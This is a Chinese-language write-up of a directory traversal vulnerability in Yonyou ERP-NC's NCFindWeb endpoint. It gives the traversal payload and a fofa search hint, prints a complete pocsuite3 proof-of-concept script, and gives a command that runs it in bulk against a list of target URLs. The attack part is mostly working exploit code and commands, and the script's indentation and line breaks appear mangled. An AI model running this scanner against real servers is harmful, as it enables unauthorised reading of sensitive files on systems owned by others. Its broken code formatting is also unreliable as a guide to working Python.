漏洞描述
用友ERP-NC 存在目录遍历漏洞,攻击者可以通过目录遍历获取敏感文件信息。
fofa:
poc:/NCFindWeb?service=IPreAlertConfigService&filename=
在url处拼接poc后可以看到该站点的目录和文件
访问某个文件
/NCFindWeb?service=IPreAlertConfigService&filename=文件名
编写poc批量验证
这里使用的是pocsuite3的poc模板
# 调用pocsuite的一些API函数
from pocsuite3.api import Output, register_poc, requests, POCBase# 继承POCBase类
class DemoPOC(POCBase):
vulID = '0' # ssvid ID, 如果是提交漏洞的同时提交PoC,则写出0
version = "1" # 版本
author = "" # 作者名称
vulDate = '' # 漏洞公开时间
createDate = '' #编写POC时间
updateDate = '' # 更新POC时间
references = [""] #漏洞地址来源,0day不用写
name = '用友 ERP-NC NCFindWeb 目录遍历漏洞 Poc' # POC名称
appPowerLink = '' # 漏洞厂商的主页地址
appName = '用友' # 漏洞应用名称
appVersion = '用友 ERP-NC NCFindWeb' # 漏洞影响版本
vulType = '' # 漏洞类型
desc = """
用友ERP-NC 存在目录遍历漏洞,攻击者可以通过目录遍历获取敏感文件信息
""" # 漏洞简要描述
samples = [] # 测试样例,使用POC测试成功的网站
install_requires = []# 定义--verify参数,poc函数
def _verify(self):
payload = '/NCFindWeb?service=IPreAlertConfigService&filename='
result={}
target=self.url
req=requests.get(target+payload)
res=req.text
if('index.html' in res):
result['VerifyInfo']={}
result['VerifyInfo']['URL'] = target
result['VerifyInfo']['payload'] = payload
return self.parse_output(result)def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable.')
# 返回成功或失败消息
return output# 定义--attack参数,attack函数
def _attack(self):
return self._verify()# 注册poc
register_poc(DemoPOC)
只需要修改_verify()部分即可
payload=’/NCFindWeb?service=IPreAlertConfigService&filename=’
if判断返回的数据出现index.html文件名则代表存在漏洞,否则不存在
url.txt
使用pocsuite3批量验证
pocsuite -r poc.py -f url.txt -o target.txt —verify
输出的结果
去提交漏洞咯